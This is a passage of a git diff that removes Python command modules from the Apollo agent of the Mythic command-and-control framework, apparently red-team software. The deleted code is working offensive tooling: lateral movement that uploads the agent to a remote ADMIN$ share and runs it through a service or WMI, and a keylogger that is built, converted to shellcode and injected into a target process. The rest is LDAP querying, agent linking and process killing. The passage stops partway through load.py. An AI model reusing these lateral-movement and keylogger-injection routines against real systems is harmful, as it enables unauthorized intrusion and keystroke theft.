BuildParameterValues={"output_type": "Service"})] - )) - - if payload_search.Success: - file_names = [] - for f in payload_search.Payloads: - file_names.append(f"{f.Filename} - {f.Description} - {f.UUID}") - fileResponse.Success = True - fileResponse.Choices = file_names - return fileResponse - else: - fileResponse.Error = payload_search.Error - return fileResponse - - - async def parse_arguments(self): - if self.command_line[0] != "{": - raise Exception("Inject requires JSON parameters and not raw command line.") - self.load_args_from_json_string(self.command_line) - if self.get_arg("pid") == 0: - raise Exception("Required non-zero PID") - - -async def mirror_up_output(task: PTTaskCompletionFunctionMessage): - response_search = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage( - TaskID=task.SubtaskData.Task.ID, - )) - if response_search.Success: - for r in response_search.Responses: - try: - json_data = json.loads(r.Response) - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=task.TaskData.Task.ID, - Response=json.dumps(json_data, indent=2, sort_keys=True).encode() - )) - except: - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=task.TaskData.Task.ID, - Response=r.Response.encode() - )) - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=task.TaskData.Task.ID, - Response="\n".encode() - )) - - -async def psexec_delete_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: - response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True) - await mirror_up_output(task=task) - if "error" in task.SubtaskData.Task.Status.lower(): - response.TaskStatus = f"error: failed to delete service" - return response - - -async def psexec_start_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: - response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True) - await mirror_up_output(task=task) - if "error" in task.SubtaskData.Task.Status.lower(): - response.TaskStatus = f"error: failed to start service" - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=task.TaskData.Task.ID, - UpdateStatus="deleting remote service" - )) - subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=task.TaskData.Task.ID, - SubtaskCallbackFunction="psexec_delete_callback", - CommandName="sc", - Params=json.dumps({ - "computer": task.TaskData.args.get_arg("host"), - "delete": True, - "service": task.TaskData.args.get_arg("remote_service_name"), - }) - )) - return response - - -async def psexec_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: - response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True) - await mirror_up_output(task=task) - if "error" in task.SubtaskData.Task.Status.lower(): - response.TaskStatus = f"error: failed to create service" - return response - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=task.TaskData.Task.ID, - UpdateStatus="starting remote service" - )) - subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=task.TaskData.Task.ID, - SubtaskCallbackFunction="psexec_start_callback", - CommandName="sc", - #{"binpath":"C:\\Users\\itsafeature\\Desktop\\apollo_service.exe","service":"apollo","create":true,"display_name":"apollo","computer":""} - Params=json.dumps({ - "computer": task.TaskData.args.get_arg("host"), - "start": True, - "service": task.TaskData.args.get_arg("remote_service_name"), - }) - )) - return response - - -async def upload_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: - response = PTTaskCompletionFunctionMessageResponse(Success=True) - await mirror_up_output(task=task) - if "error" in task.SubtaskData.Task.Status.lower(): - response.TaskStatus = f"error: failed to copy over file" - return response - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=task.TaskData.Task.ID, - UpdateStatus="creating remote service" - )) - subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=task.TaskData.Task.ID, - SubtaskCallbackFunction="psexec_callback", - CommandName="sc", - #{"binpath":"C:\\Users\\itsafeature\\Desktop\\apollo_service.exe","service":"apollo","create":true,"display_name":"apollo","computer":""} - Params=json.dumps({ - "binpath": f"{task.TaskData.args.get_arg('command')}", - "computer": task.TaskData.args.get_arg("host"), - "create": True, - "service": task.TaskData.args.get_arg("remote_service_name"), - "display_name": task.TaskData.args.get_arg("remote_service_name"), - }) - )) - return response - - -class JumpPSEXeCCommand(CommandBase): - cmd = "jump_psexec" - attributes=CommandAttributes( - dependencies=["sc"] - ) - needs_admin = True - help_cmd = "jump_psexec hostname" - description = "Use sc to move laterally to a new host by first copying over apollo.exe." - version = 2 - script_only = True - author = "@its_a_feature_" - argument_class = JumpPSEXECArguments - attackmapping = ["T1055"] - completion_functions = { - "upload_callback": upload_callback, - "psexec_callback": psexec_callback, - "psexec_start_callback": psexec_start_callback, - "psexec_delete_callback": psexec_delete_callback - } - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - payload = None - if (taskData.args.get_arg("remote_path") == "ADMIN$\\apollo.exe" and - taskData.args.get_arg("command") != "C:\\Windows\\apollo.exe") or ( - taskData.args.get_arg("remote_path") != "ADMIN$\\apollo.exe" and - taskData.args.get_arg("command") == "C:\\Windows\\apollo.exe" - ): - raise Exception("Remote Path and Command must be updated together or neither updated.\nremote_path is the UNC style path of where the payload will be uploaded and command is the local path for executing the command") - - if taskData.args.get_parameter_group_name() == "specific_payload": - string_payload = [x.strip() for x in taskData.args.get_arg("Payload").split(" - ")] - str_uuid = string_payload[2] - payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - PayloadUUID=str_uuid - )) - if not payload_search.Success: - raise Exception("Failed to find payload: {}".format(taskData.args.get_arg("Payload"))) - - if len(payload_search.Payloads) == 0: - raise Exception("No payloads found matching {}".format(taskData.args.get_arg("Payload"))) - payload = payload_search.Payloads[0] - else: - payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - IncludeAutoGeneratedPayloads=False, - PayloadUUID=taskData.Payload.UUID - )) - if not payload_search.Success: - raise Exception("Failed to find payload: {}".format(taskData.Payload.UUID)) - if len(payload_search.Payloads) == 0: - raise Exception("No payloads found matching {}".format(taskData.Payload.UUID)) - payload = payload_search.Payloads[0] - if payload.BuildParameters[0].Value != "Service": - # the current payload is shellcode and not an exe, so we need to generate an exe - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus="building Service Apollo..." - )) - newPayloadResp = await SendMythicRPCPayloadCreateFromScratch(MythicRPCPayloadCreateFromScratchMessage( - TaskID=taskData.Task.ID, - PayloadConfiguration=MythicRPCPayloadConfiguration( - payload_type="apollo", - description=f"Psexec to host {taskData.args.get_arg('host')}", - build_parameters=[ - {"name": "output_type", "value": "Service"} - ], - selected_os="Windows", - filename="apollo_service.exe", - commands=payload_search.Payloads[0].Commands, - c2_profiles=[x.to_json() for x in payload_search.Payloads[0].C2Profiles], - ), - RemoteHost=taskData.args.get_arg("host"), - )) - if newPayloadResp.Success: - # we know a payload is building, now we want it - str_uuid = newPayloadResp.NewPayloadUUID - while True: - resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - PayloadUUID=newPayloadResp.NewPayloadUUID - )) - if resp.Success: - if resp.Payloads[0].BuildPhase == 'success': - # it's done, so we can register a file for it - payload = resp.Payloads[0] - break - elif resp.Payloads[0].BuildPhase == 'error': - raise Exception("Failed to build new payload ") - else: - await asyncio.sleep(1) - else: - logger.exception("Failed to build new payload") - raise Exception("Failed to build payload from template {}".format(taskData.args.get_arg("template"))) - if payload is None: - raise Exception("Failed to find payload or generate payload for lateral movement") - # step 1 - upload payload to remote host at remote location - # step 2 - kick off wmiexecute for remote host to run remote_command - response.DisplayParams = f"{payload.Filename} onto \\\\{taskData.args.get_arg('host')}\\{taskData.args.get_arg('remote_path')}" - response.TaskStatus = "uploading file..." - service_name = taskData.args.get_arg("remote_service_name") - if service_name == "": - service_name = str(uuid.uuid4()) - taskData.args.set_arg("remote_service_name", service_name) - subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=taskData.Task.ID, - SubtaskCallbackFunction="upload_callback", - CommandName="upload", - Params=json.dumps({ - "remote_path": f"\\\\{taskData.args.get_arg('host')}\\{taskData.args.get_arg('remote_path')}", - "file": payload.AgentFileId - }) - )) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/jump_wmi.py b/Payload_Type/apollo/apollo/mythic/agent_functions/jump_wmi.py deleted file mode 100644 index 6a39bed5..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/jump_wmi.py +++ /dev/null @@ -1,275 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import base64 -import sys -import asyncio - -class JumpWMIArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="Payload", - cli_name="Payload", - display_name="Payload", - type=ParameterType.ChooseOne, - dynamic_query_function=self.get_payloads, - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="specific_payload", - ui_position=4 - ), - ] - ), - CommandParameter( - name="host", - cli_name="host", - display_name="Host", - type=ParameterType.String, - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Default", - ui_position=1 - ), - ParameterGroupInfo( - required=True, - group_name="specific_payload", - ui_position=1 - ) - ] - ), - CommandParameter( - name="command", - cli_name="command", - display_name="Command", - default_value="C:\\Windows\\apollo.exe", - type=ParameterType.String, - parameter_group_info=[ - ParameterGroupInfo( - required=False, - group_name="Default", - ui_position=3, - ), - ParameterGroupInfo( - required=False, - group_name="specific_payload", - ui_position=3 - ) - ] - ), - CommandParameter( - name="remote_path", - cli_name="remote_path", - display_name="Remote Upload Location", - type=ParameterType.String, - default_value="ADMIN$\\apollo.exe", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - group_name="Default", - ui_position=2 - ), - ParameterGroupInfo( - required=False, - group_name="specific_payload", - ui_position=2 - ) - ] - ), - ] - - errorMsg = "Missing required parameter: {}" - - async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: - fileResponse = PTRPCDynamicQueryFunctionMessageResponse(Success=False) - payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - CallbackID=inputMsg.Callback, - PayloadTypes=["apollo"], - IncludeAutoGeneratedPayloads=False, - BuildParameters=[MythicRPCPayloadSearchBuildParameter(PayloadType="apollo", BuildParameterValues={"output_type": "WinExe"})] - )) - - if payload_search.Success: - file_names = [] - for f in payload_search.Payloads: - file_names.append(f"{f.Filename} - {f.Description} - {f.UUID}") - fileResponse.Success = True - fileResponse.Choices = file_names - return fileResponse - else: - fileResponse.Error = payload_search.Error - return fileResponse - - - async def parse_arguments(self): - if self.command_line[0] != "{": - raise Exception("Inject requires JSON parameters and not raw command line.") - self.load_args_from_json_string(self.command_line) - if self.get_arg("pid") == 0: - raise Exception("Required non-zero PID") - - -async def mirror_up_output(task: PTTaskCompletionFunctionMessage): - response_search = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage( - TaskID=task.SubtaskData.Task.ID, - )) - if response_search.Success: - for r in response_search.Responses: - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=task.TaskData.Task.ID, - Response=r.Response.encode() - )) - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=task.TaskData.Task.ID, - Response="\n".encode() - )) - - -async def wmi_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: - response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True) - await mirror_up_output(task=task) - if "error" in task.SubtaskData.Task.Status.lower(): - response.TaskStatus = f"error: failed to execute wmi" - return response - return response - - -async def upload_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: - response = PTTaskCompletionFunctionMessageResponse(Success=True) - await mirror_up_output(task=task) - if "error" in task.SubtaskData.Task.Status.lower(): - response.TaskStatus = f"error: failed to copy over file" - return response - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=task.TaskData.Task.ID, - UpdateStatus="executing wmi..." - )) - subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=task.TaskData.Task.ID, - SubtaskCallbackFunction="wmi_callback", - CommandName="wmiexecute", - Params=json.dumps({ - "command": f"{task.TaskData.args.get_arg('command')}", - "host": task.TaskData.args.get_arg("host") - }) - )) - return response - - -class JumpWMICommand(CommandBase): - cmd = "jump_wmi" - attributes=CommandAttributes( - dependencies=["wmiexecute"] - ) - needs_admin = True - help_cmd = "jump_wmi hostname" - description = "Use wmiexecute to move laterally to a new host by first copying over apollo.exe." - version = 2 - script_only = True - author = "@its_a_feature_" - argument_class = JumpWMIArguments - attackmapping = ["T1055"] - completion_functions = { - "upload_callback": upload_callback, - "wmi_callback": wmi_callback - } - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - payload = None - if (taskData.args.get_arg("remote_path") == "ADMIN$\\apollo.exe" and - taskData.args.get_arg("command") != "C:\\Windows\\apollo.exe") or ( - taskData.args.get_arg("remote_path") != "ADMIN$\\apollo.exe" and - taskData.args.get_arg("command") == "C:\\Windows\\apollo.exe" - ): - raise Exception("Remote Path and Command must be updated together or neither updated.\nremote_path is the UNC style path of where the payload will be uploaded and command is the local path for executing the command") - - if taskData.args.get_parameter_group_name() == "specific_payload": - string_payload = [x.strip() for x in taskData.args.get_arg("Payload").split(" - ")] - str_uuid = string_payload[2] - payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - PayloadUUID=str_uuid - )) - if not payload_search.Success: - raise Exception("Failed to find payload: {}".format(taskData.args.get_arg("Payload"))) - - if len(payload_search.Payloads) == 0: - raise Exception("No payloads found matching {}".format(taskData.args.get_arg("Payload"))) - payload = payload_search.Payloads[0] - else: - payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - IncludeAutoGeneratedPayloads=False, - PayloadUUID=taskData.Payload.UUID - )) - if not payload_search.Success: - raise Exception("Failed to find payload: {}".format(taskData.Payload.UUID)) - if len(payload_search.Payloads) == 0: - raise Exception("No payloads found matching {}".format(taskData.Payload.UUID)) - payload = payload_search.Payloads[0] - if payload_search.Payloads[0].BuildParameters[0].Value != "WinExe": - # the current payload is shellcode and not an exe, so we need to generate an exe - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus="building WinExe Apollo..." - )) - newPayloadResp = await SendMythicRPCPayloadCreateFromScratch(MythicRPCPayloadCreateFromScratchMessage( - TaskID=taskData.Task.ID, - PayloadConfiguration=MythicRPCPayloadConfiguration( - payload_type="apollo", - description=f"WMI to host {taskData.args.get_arg('host')}", - build_parameters=[ - {"name": "output_type", "value": "WinExe"} - ], - selected_os="Windows", - filename="apollo.exe", - commands=payload_search.Payloads[0].Commands, - c2_profiles=[x.to_json() for x in payload_search.Payloads[0].C2Profiles], - ), - RemoteHost=taskData.args.get_arg("host"), - )) - if newPayloadResp.Success: - # we know a payload is building, now we want it - str_uuid = newPayloadResp.NewPayloadUUID - while True: - resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - PayloadUUID=newPayloadResp.NewPayloadUUID - )) - if resp.Success: - if resp.Payloads[0].BuildPhase == 'success': - # it's done, so we can register a file for it - payload = resp.Payloads[0] - break - elif resp.Payloads[0].BuildPhase == 'error': - raise Exception("Failed to build new payload ") - else: - await asyncio.sleep(1) - else: - logger.exception("Failed to build new payload") - raise Exception("Failed to build payload from template {}".format(taskData.args.get_arg("template"))) - if payload is None: - raise Exception("Failed to find payload or generate payload for lateral movement") - # step 1 - upload payload to remote host at remote location - # step 2 - kick off wmiexecute for remote host to run remote_command - response.DisplayParams = f"{payload.Filename} onto \\\\{taskData.args.get_arg('host')}\\{taskData.args.get_arg('remote_path')}" - response.TaskStatus = "uploading file..." - subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=taskData.Task.ID, - SubtaskCallbackFunction="upload_callback", - CommandName="upload", - Params=json.dumps({ - "remote_path": f"\\\\{taskData.args.get_arg('host')}\\{taskData.args.get_arg('remote_path')}", - "file": payload.AgentFileId - }) - )) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/keylog_inject.py b/Payload_Type/apollo/apollo/mythic/agent_functions/keylog_inject.py deleted file mode 100644 index e126c70d..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/keylog_inject.py +++ /dev/null @@ -1,103 +0,0 @@ -from distutils.dir_util import copy_tree -import os -import shutil -import tempfile -from mythic_container.MythicCommandBase import * -import json -from uuid import uuid4 -from os import path -from mythic_container.MythicRPC import * -import base64 -import os -import asyncio -import donut - -KEYLOG_INJECT_PATH = "/srv/KeyLogInject.exe" - -class KeylogInjectArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="pid", - cli_name="PID", - display_name="PID", - type=ParameterType.Number, - description="Process ID to inject keylogger into."), - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("Invalid number of parameters passed.\n\tUsage: {}".format(KeylogInjectCommand.help_cmd)) - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - self.add_arg("pid", self.command_line.strip(), ParameterType.Number) - self.add_arg("pipe_name", str(uuid4())) - - -class KeylogInjectCommand(CommandBase): - cmd = "keylog_inject" - needs_admin = False - help_cmd = "keylog_inject [pid]" - description = "Start a keylogger in a remote process." - version = 2 - author = "@djhohnstein" - argument_class = KeylogInjectArguments - browser_script = BrowserScript(script_name="keylog_inject", author="@its_a_feature_", for_new_ui=True) - attackmapping = ["T1056"] - supported_ui_features=["keylog_inject"] - - async def build_keyloginject(self): - global KEYLOG_INJECT_PATH - agent_build_path = tempfile.TemporaryDirectory() - outputPath = "{}/KeylogInject/bin/Release/KeylogInject.exe".format(agent_build_path.name) - # shutil to copy payload files over - copy_tree(str(self.agent_code_path), agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/KeylogInject/KeylogInject.csproj -o {}/KeylogInject/bin/Release/".format(agent_build_path.name, agent_build_path.name) - proc = await asyncio.create_subprocess_shell(shell_cmd, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) - stdout, stderr = await proc.communicate() - if not path.exists(outputPath): - raise Exception("Failed to build KeylogInject.exe:\n{}".format(stderr.decode() + "\n" + stdout.decode())) - shutil.copy(outputPath, KEYLOG_INJECT_PATH) - - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - global KEYLOG_INJECT_PATH - if not path.exists(KEYLOG_INJECT_PATH): - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus=f"building injection stub" - )) - await self.build_keyloginject() - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus=f"generating stub shellcode" - )) - - donutPic = donut.create( - file=KEYLOG_INJECT_PATH, params=taskData.args.get_arg("pipe_name") - ) - file_resp = await SendMythicRPCFileCreate( - MythicRPCFileCreateMessage( - TaskID=taskData.Task.ID, FileContents=donutPic, DeleteAfterFetch=True - ) - ) - if file_resp.Success: - taskData.args.add_arg("loader_stub_id", file_resp.AgentFileId) - else: - raise Exception( - "Failed to register keylog_inject stub binary: " + file_resp.Error - ) - response.DisplayParams = "-PID {}".format(taskData.args.get_arg("pid")) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/kill.py b/Payload_Type/apollo/apollo/mythic/agent_functions/kill.py deleted file mode 100644 index 524bf061..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/kill.py +++ /dev/null @@ -1,57 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class KillArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="pid", - cli_name="PID", - display_name="PID", - type=ParameterType.Number) - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("No PID given.") - if self.command_line[0] == "{": - supplied_dict = json.loads(self.command_line) - if "pid" in supplied_dict: - self.add_arg("pid", supplied_dict["pid"]) - elif "process_id" in supplied_dict: - self.add_arg("pid", supplied_dict["process_id"]) - else: - self.load_args_from_json_string(self.command_line) - else: - try: - int(self.command_line) - except: - raise Exception("Failed to parse integer PID from: {}\n\tUsage: {}".format(self.command_line, killCommand.help_cmd)) - self.add_arg("pid", int(self.command_line), ParameterType.Number) - - -class killCommand(CommandBase): - cmd = "kill" - needs_admin = False - help_cmd = "kill [pid]" - description = "Kill a process specified by [pid]" - version = 2 - author = "@djhohnstein" - argument_class = KillArguments - attackmapping = ["T1106"] - supported_ui_features = ["kill", "process_browser:kill"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - response.DisplayParams = "-PID {}".format(taskData.args.get_arg("pid")) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/ldap_query.py b/Payload_Type/apollo/apollo/mythic/agent_functions/ldap_query.py deleted file mode 100644 index 318fa04a..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/ldap_query.py +++ /dev/null @@ -1,105 +0,0 @@ -from mythic_container.MythicCommandBase import * -from mythic_container.MythicGoRPC.send_mythic_rpc_handle_agent_message_json import * -import json - - -class LdapQueryArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="query", - cli_name="query", - display_name="LDAP Query", - type=ParameterType.String, - description="The query to issue", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=2, - ) - ], - default_value="",), - CommandParameter( - name="base", - cli_name="base", - display_name="LDAP Search Base", - type=ParameterType.String, - description="The ldap search base", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=1, - ) - ], - default_value="",), - CommandParameter( - name="attributes", - cli_name="attributes", - display_name="Specific attributes to return", - type=ParameterType.Array, - description="Which attributes to return on matching entries", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=3, - ) - ], - default_value=[],), - CommandParameter( - name="limit", - cli_name="limit", - display_name="Limit results", - type=ParameterType.Number, - description="Limit the number of results. 0 means don't limit", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=4, - ) - ], - default_value=100,), - ] - - - async def parse_arguments(self): - if self.command_line[0] == "{": - data = json.loads(self.command_line) - if "full_path" in data: - self.add_arg("query", data["query"] if "query" in data else "") - self.add_arg("base", data["host"] if "host" in data else "") - search_attributes = [x.strip() for x in data["attributes"].split(",") if x != ""] if "attributes" in data else [] - if len(search_attributes) > 0: - self.add_arg("attributes", search_attributes) - return - self.load_args_from_json_string(self.command_line) - else: - raise Exception("Invalid command line arguments") - - -class LdapQuery(CommandBase): - cmd = "ldap_query" - needs_admin = False - help_cmd = "ldap_query [key]" - description = "Query ldap" - version = 2 - author = "@its_a_feature_" - argument_class = LdapQueryArguments - attackmapping = [] - supported_ui_features = ["ldap_query", "ldap_browser:list"] - #browser_script = BrowserScript(script_name="reg_query", author="@djhohnstein", for_new_ui=True) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - if taskData.args.get_arg("base") == taskData.Callback.Host: - taskData.args.add_arg("base", "") - response.DisplayParams = "-Query {}".format(taskData.args.get_arg("query")) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/link.py b/Payload_Type/apollo/apollo/mythic/agent_functions/link.py deleted file mode 100644 index 244be54b..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/link.py +++ /dev/null @@ -1,66 +0,0 @@ -from mythic_container.MythicCommandBase import * -from mythic_container.MythicGoRPC.send_mythic_rpc_callback_search import * -import json - - -class LinkArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="connection_info", - cli_name="NewConnection", - type=ParameterType.ConnectionInfo) - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("Link command requires arguments, but got empty command line.") - if self.command_line[0] != "{": - raise Exception("Require JSON blob of arguments, but got raw command line.") - self.load_args_from_json_string(self.command_line) - -class LinkCommand(CommandBase): - cmd = "link" - needs_admin = False - help_cmd = "link" - description = "Link to a new agent on a remote host or re-link back to a specified callback that's been unlinked via the `unlink` commmand." - version = 2 - author = "@djhohnstein" - argument_class = LinkArguments - attackmapping = ["T1570", "T1572", "T1021"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - connection_info = taskData.args.get_arg("connection_info") - if connection_info["c2_profile"]["name"] != "webshell": - response.DisplayParams = f"{connection_info['host']} via {connection_info['c2_profile']['name']}" - return response - if 'callback_uuid' not in connection_info or connection_info["callback_uuid"] == "": - response.Success = False - response.Error = "Must select a callback to link to for webshell, not a payload" - return response - callback_resp = await SendMythicRPCCallbackSearch(MythicRPCCallbackSearchMessage( - AgentCallbackUUID=taskData.Callback.AgentCallbackID, - SearchCallbackUUID=connection_info["callback_uuid"] - )) - if not callback_resp.Success: - response.Success = False - response.Error = callback_resp.Error - return response - if len(callback_resp.Results) == 0: - response.Success = False - response.Error = "Failed to find callback to link to" - return response - connection_info["c2_profile"]["parameters"]["cookie_value"] = base64.b64encode(callback_resp.Results[0].RegisteredPayloadUUID.encode()).decode() - taskData.args.set_arg("connection_info", connection_info) - response.DisplayParams = f"{connection_info['host']} at {connection_info['c2_profile']['parameters']['url']}" - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/listpipes.py b/Payload_Type/apollo/apollo/mythic/agent_functions/listpipes.py deleted file mode 100644 index 903cfcbd..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/listpipes.py +++ /dev/null @@ -1,42 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class ListPipesArguments(TaskArguments): - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - # No arguments for now; adjust if you want to support remote enumeration - self.args = [] - - async def parse_arguments(self): - # No arguments needed - pass - - async def parse_dictionary(self, dictionary_arguments): - self.load_args_from_dictionary(dictionary_arguments) - - -class ListPipesCommand(CommandBase): - cmd = "listpipes" - needs_admin = False - help_cmd = "listpipes" - description = "Lists all named pipes on the local system (\\.\pipe)." - version = 1 - author = "@ToweringDragoon" - argument_class = ListPipesArguments - attackmapping = ["T1083"] - - async def create_go_tasking( - self, taskData: PTTaskMessageAllData - ) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response( - self, task: PTTaskMessageAllData, response: any - ) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/load.py b/Payload_Type/apollo/apollo/mythic/agent_functions/load.py deleted file mode 100644 index d0e71b7e..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/load.py +++ /dev/null @@ -1,248 +0,0 @@ -import asyncio -import os -from distutils.dir_util import copy_tree -import tempfile -from mythic_container.MythicCommandBase import * -from mythic_container.MythicRPC import * -import json -import sys - - -class LoadArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="commands", - cli_name="Commands", - display_name="Commands", - type=ParameterType.ChooseMultiple, - description="One or more commands to load into the agent", - dynamic_query_function=self.get_remaining_commands,), - ] - - - async def get_remaining_commands(self, inputMsg: 